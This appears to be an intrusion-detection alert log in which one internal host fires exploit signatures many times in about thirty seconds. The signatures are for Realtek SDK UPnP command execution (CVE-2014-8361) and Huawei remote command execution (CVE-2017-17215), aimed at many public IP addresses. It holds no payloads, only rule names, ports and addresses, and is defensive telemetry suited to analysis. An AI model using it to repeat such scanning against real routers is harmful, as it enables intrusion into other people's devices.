07/20/24-23:10:42.619468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38990	52869	192.168.2.15	119.87.220.235
07/20/24-23:10:47.823344	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39140	52869	192.168.2.15	2.202.26.203
07/20/24-23:10:39.438135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40404	37215	192.168.2.15	197.55.86.176
07/20/24-23:11:03.339788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50838	37215	192.168.2.15	59.219.66.240
07/20/24-23:10:51.908570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40374	52869	192.168.2.15	60.216.97.213
07/20/24-23:10:39.798748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42266	52869	192.168.2.15	8.126.91.237
07/20/24-23:10:42.621600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48118	52869	192.168.2.15	17.198.192.63
07/20/24-23:10:44.523833	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39432	52869	192.168.2.15	136.211.29.117
07/20/24-23:11:03.371424	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36700	37215	192.168.2.15	41.113.109.39
07/20/24-23:10:43.452777	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33710	52869	192.168.2.15	38.143.90.107
07/20/24-23:10:52.551688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35400	37215	192.168.2.15	31.179.64.179
07/20/24-23:10:59.023708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49388	37215	192.168.2.15	157.15.150.168
07/20/24-23:10:51.896795	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43184	52869	192.168.2.15	99.118.106.29
07/20/24-23:10:47.896234	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33652	52869	192.168.2.15	2.190.145.125
07/20/24-23:10:52.060416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53192	52869	192.168.2.15	154.8.108.34
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46168	37215	192.168.2.15	126.92.188.140
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45576	37215	192.168.2.15	64.20.21.79
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34292	37215	192.168.2.15	157.168.215.230
07/20/24-23:10:46.817180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54220	37215	192.168.2.15	190.250.16.69
07/20/24-23:11:03.390577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47932	37215	192.168.2.15	8.253.245.245
07/20/24-23:10:49.360961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33890	37215	192.168.2.15	41.87.1.134
07/20/24-23:10:44.745358	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55944	52869	192.168.2.15	194.51.38.79
07/20/24-23:10:39.430692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52656	37215	192.168.2.15	41.101.180.53
07/20/24-23:10:40.656564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37088	37215	192.168.2.15	41.62.170.7
07/20/24-23:10:39.434366	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45306	37215	192.168.2.15	197.89.116.170
07/20/24-23:10:49.377082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41478	37215	192.168.2.15	157.106.203.155
07/20/24-23:10:58.986541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36308	37215	192.168.2.15	35.188.243.106
07/20/24-23:11:03.394674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43368	37215	192.168.2.15	51.58.164.251
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39232	37215	192.168.2.15	197.77.128.68
07/20/24-23:10:59.057855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60898	37215	192.168.2.15	197.144.9.215
07/20/24-23:10:49.425318	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43718	37215	192.168.2.15	72.178.188.43
07/20/24-23:10:42.632104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50042	52869	192.168.2.15	14.134.150.109
07/20/24-23:10:46.865461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43298	37215	192.168.2.15	41.76.77.102
07/20/24-23:10:42.633392	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43174	52869	192.168.2.15	222.31.20.54
07/20/24-23:10:39.168210	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38544	52869	192.168.2.15	191.96.230.47
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40956	37215	192.168.2.15	197.18.206.159
07/20/24-23:10:46.735704	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34302	37215	192.168.2.15	197.18.113.6
07/20/24-23:10:51.950747	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44978	52869	192.168.2.15	184.114.49.59
07/20/24-23:10:51.983127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44636	52869	192.168.2.15	166.45.141.212
07/20/24-23:10:52.549474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41722	37215	192.168.2.15	41.85.205.73
07/20/24-23:11:03.382352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41934	37215	192.168.2.15	41.140.111.60
07/20/24-23:10:46.721416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41634	37215	192.168.2.15	41.213.233.79
07/20/24-23:10:52.551688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54254	37215	192.168.2.15	157.115.108.166
07/20/24-23:10:45.219029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54138	52869	192.168.2.15	140.169.88.3
07/20/24-23:10:39.515932	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60906	52869	192.168.2.15	162.144.96.77
07/20/24-23:10:52.045896	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60558	52869	192.168.2.15	190.79.37.161
07/20/24-23:10:42.249182	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35044	37215	192.168.2.15	157.147.34.23
07/20/24-23:10:51.905303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59984	52869	192.168.2.15	197.206.241.145
07/20/24-23:10:55.977404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32822	37215	192.168.2.15	41.15.230.22
07/20/24-23:10:45.384123	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38530	52869	192.168.2.15	195.202.70.255
07/20/24-23:10:40.604941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47964	37215	192.168.2.15	187.14.16.38
07/20/24-23:10:42.249182	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36518	37215	192.168.2.15	197.108.156.198
07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38598	37215	192.168.2.15	197.6.61.54
07/20/24-23:10:51.983833	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55620	52869	192.168.2.15	168.52.247.36
07/20/24-23:11:06.696228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57266	37215	192.168.2.15	120.88.21.240
07/20/24-23:10:51.940556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53588	52869	192.168.2.15	77.241.200.75
07/20/24-23:10:42.621194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49362	52869	192.168.2.15	209.99.231.53
07/20/24-23:10:42.619454	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44628	52869	192.168.2.15	154.64.3.25
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52726	37215	192.168.2.15	197.216.169.151
07/20/24-23:10:44.760251	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36560	52869	192.168.2.15	63.75.117.57
07/20/24-23:10:56.046358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39784	37215	192.168.2.15	197.52.107.71
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36840	37215	192.168.2.15	106.24.229.227
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41750	37215	192.168.2.15	197.198.98.109
07/20/24-23:10:52.061682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41164	52869	192.168.2.15	190.9.142.126
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44010	37215	192.168.2.15	157.168.113.67
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36878	37215	192.168.2.15	197.41.140.52
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35514	37215	192.168.2.15	173.213.209.100
07/20/24-23:10:49.447315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52600	37215	192.168.2.15	197.177.221.156
07/20/24-23:10:59.011093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55566	37215	192.168.2.15	197.110.219.79
07/20/24-23:10:39.096301	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46692	52869	192.168.2.15	5.162.60.136
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33022	37215	192.168.2.15	41.133.211.18
07/20/24-23:10:59.012071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42216	37215	192.168.2.15	157.133.33.52
07/20/24-23:11:03.352491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52740	37215	192.168.2.15	41.194.49.201
07/20/24-23:10:51.928255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51476	52869	192.168.2.15	155.171.90.214
07/20/24-23:10:47.796046	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41782	52869	192.168.2.15	86.115.137.64
07/20/24-23:10:59.004938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35296	37215	192.168.2.15	41.203.21.71
07/20/24-23:11:03.365385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41838	37215	192.168.2.15	157.52.64.219
07/20/24-23:10:44.055686	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58016	52869	192.168.2.15	145.210.186.189
07/20/24-23:10:59.050849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50748	37215	192.168.2.15	197.219.187.203
07/20/24-23:10:49.377082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47148	37215	192.168.2.15	94.146.188.223
07/20/24-23:10:42.632104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33060	52869	192.168.2.15	166.78.169.15
07/20/24-23:11:06.662677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52278	37215	192.168.2.15	41.253.214.8
07/20/24-23:10:45.535980	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38130	52869	192.168.2.15	125.158.123.72
07/20/24-23:10:45.091662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37338	52869	192.168.2.15	86.101.91.169
07/20/24-23:10:39.438135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57396	37215	192.168.2.15	157.39.249.198
07/20/24-23:10:46.010232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33342	52869	192.168.2.15	83.29.88.76
07/20/24-23:10:59.023708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57426	37215	192.168.2.15	41.119.93.56
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37732	37215	192.168.2.15	4.56.195.59
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53580	37215	192.168.2.15	197.83.202.216
07/20/24-23:11:03.406798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48878	37215	192.168.2.15	83.250.119.240
07/20/24-23:10:39.870767	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39006	52869	192.168.2.15	120.127.21.138
07/20/24-23:10:49.430121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46680	37215	192.168.2.15	157.251.200.44
07/20/24-23:10:40.604940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47126	37215	192.168.2.15	197.224.162.113
07/20/24-23:10:49.425318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57612	37215	192.168.2.15	157.110.234.28
07/20/24-23:10:55.979374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39522	37215	192.168.2.15	197.66.194.114
07/20/24-23:10:40.650979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53814	37215	192.168.2.15	197.40.81.92
07/20/24-23:10:42.625706	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48368	52869	192.168.2.15	169.249.196.201
07/20/24-23:10:52.546429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34740	37215	192.168.2.15	197.182.193.172
07/20/24-23:10:41.232616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39852	37215	192.168.2.15	41.0.171.6
07/20/24-23:10:46.836862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54926	37215	192.168.2.15	73.61.115.234
07/20/24-23:11:06.687949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43024	37215	192.168.2.15	41.35.230.166
07/20/24-23:10:51.920409	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42544	52869	192.168.2.15	90.25.2.138
07/20/24-23:10:51.899861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44112	52869	192.168.2.15	184.222.232.77
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42416	37215	192.168.2.15	67.53.114.65
07/20/24-23:10:42.249182	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57660	37215	192.168.2.15	34.6.52.231
07/20/24-23:11:03.365385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54194	37215	192.168.2.15	157.38.21.29
07/20/24-23:10:39.691478	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59786	52869	192.168.2.15	73.203.24.52
07/20/24-23:10:39.486941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55870	37215	192.168.2.15	157.104.229.164
07/20/24-23:10:51.950529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42078	52869	192.168.2.15	101.108.145.138
07/20/24-23:10:43.104447	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47516	52869	192.168.2.15	63.97.65.81
07/20/24-23:10:52.592459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53222	37215	192.168.2.15	197.212.6.49
07/20/24-23:10:51.991411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39210	52869	192.168.2.15	170.167.39.209
07/20/24-23:10:40.086760	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58502	52869	192.168.2.15	32.52.148.97
07/20/24-23:10:42.620216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37000	52869	192.168.2.15	91.122.92.170
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57446	37215	192.168.2.15	218.122.204.1
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52988	37215	192.168.2.15	157.248.175.173
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48196	37215	192.168.2.15	20.255.176.224
07/20/24-23:10:39.615805	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37090	52869	192.168.2.15	44.227.239.111
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41756	37215	192.168.2.15	157.17.105.247
07/20/24-23:10:55.979374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34942	37215	192.168.2.15	144.122.77.129
07/20/24-23:11:03.394674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38206	37215	192.168.2.15	205.98.7.209
07/20/24-23:10:39.128788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40840	52869	192.168.2.15	212.22.178.123
07/20/24-23:10:42.248539	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42562	37215	192.168.2.15	197.111.99.127
07/20/24-23:11:03.365384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58894	37215	192.168.2.15	41.221.124.156
07/20/24-23:10:52.024960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50386	52869	192.168.2.15	47.72.19.180
07/20/24-23:10:40.642616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55746	37215	192.168.2.15	41.46.35.223
07/20/24-23:10:51.992632	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36776	52869	192.168.2.15	41.19.211.55
07/20/24-23:10:42.620129	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43836	52869	192.168.2.15	204.13.73.202
07/20/24-23:10:51.940743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49504	52869	192.168.2.15	154.24.39.249
07/20/24-23:10:52.578509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36184	37215	192.168.2.15	157.233.99.183
07/20/24-23:10:51.940106	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45296	52869	192.168.2.15	31.77.81.9
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33644	37215	192.168.2.15	197.68.217.148
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42482	37215	192.168.2.15	197.10.69.143
07/20/24-23:10:48.358148	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52220	52869	192.168.2.15	220.171.155.214
07/20/24-23:10:47.423773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57222	52869	192.168.2.15	77.15.142.198
07/20/24-23:10:47.624070	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50210	52869	192.168.2.15	188.92.250.60
07/20/24-23:10:51.928255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52786	52869	192.168.2.15	199.248.104.114
07/20/24-23:10:49.395188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37804	37215	192.168.2.15	60.32.252.28
07/20/24-23:10:51.915099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35636	52869	192.168.2.15	66.162.227.137
07/20/24-23:11:06.696229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38496	37215	192.168.2.15	37.148.82.96
07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60848	37215	192.168.2.15	41.12.135.208
07/20/24-23:10:59.028826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58844	37215	192.168.2.15	197.118.67.109
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58956	37215	192.168.2.15	197.249.96.154
07/20/24-23:10:40.650979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40270	37215	192.168.2.15	197.243.62.202
07/20/24-23:10:41.673540	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47218	37215	192.168.2.15	157.156.141.151
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51100	37215	192.168.2.15	197.12.49.40
07/20/24-23:10:40.608330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35480	37215	192.168.2.15	41.177.116.18
07/20/24-23:10:42.636830	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59368	52869	192.168.2.15	32.52.148.97
07/20/24-23:10:47.838651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34218	52869	192.168.2.15	118.30.197.237
07/20/24-23:11:03.390577	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55364	37215	192.168.2.15	197.66.86.212
07/20/24-23:11:03.402557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33720	37215	192.168.2.15	24.199.214.168
07/20/24-23:10:39.636519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58808	52869	192.168.2.15	8.28.61.99
07/20/24-23:11:06.696229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52454	37215	192.168.2.15	188.57.61.95
07/20/24-23:10:56.073192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33196	37215	192.168.2.15	197.235.225.253
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40604	37215	192.168.2.15	197.204.52.71
07/20/24-23:10:42.621194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37786	52869	192.168.2.15	44.227.239.111
07/20/24-23:10:51.899861	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35092	52869	192.168.2.15	191.36.218.84
07/20/24-23:10:41.221769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38674	37215	192.168.2.15	41.81.0.187
07/20/24-23:10:39.068869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48142	52869	192.168.2.15	114.147.236.150
07/20/24-23:10:47.913064	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52392	52869	192.168.2.15	195.72.16.230
07/20/24-23:10:39.492375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58290	37215	192.168.2.15	4.49.242.168
07/20/24-23:10:47.963364	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42470	52869	192.168.2.15	18.33.239.61
07/20/24-23:10:52.607832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39126	37215	192.168.2.15	157.250.4.144
07/20/24-23:10:39.493967	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45658	37215	192.168.2.15	41.10.96.101
07/20/24-23:11:03.406798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50432	37215	192.168.2.15	197.175.136.160
07/20/24-23:11:03.382352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35752	37215	192.168.2.15	157.72.242.187
07/20/24-23:10:39.132797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44114	52869	192.168.2.15	125.46.245.158
07/20/24-23:10:41.241817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59968	37215	192.168.2.15	41.110.199.66
07/20/24-23:10:43.447751	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40002	52869	192.168.2.15	223.235.87.4
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48658	37215	192.168.2.15	197.140.115.187
07/20/24-23:10:49.341206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49770	37215	192.168.2.15	122.127.38.178
07/20/24-23:10:41.234520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37992	37215	192.168.2.15	197.218.107.66
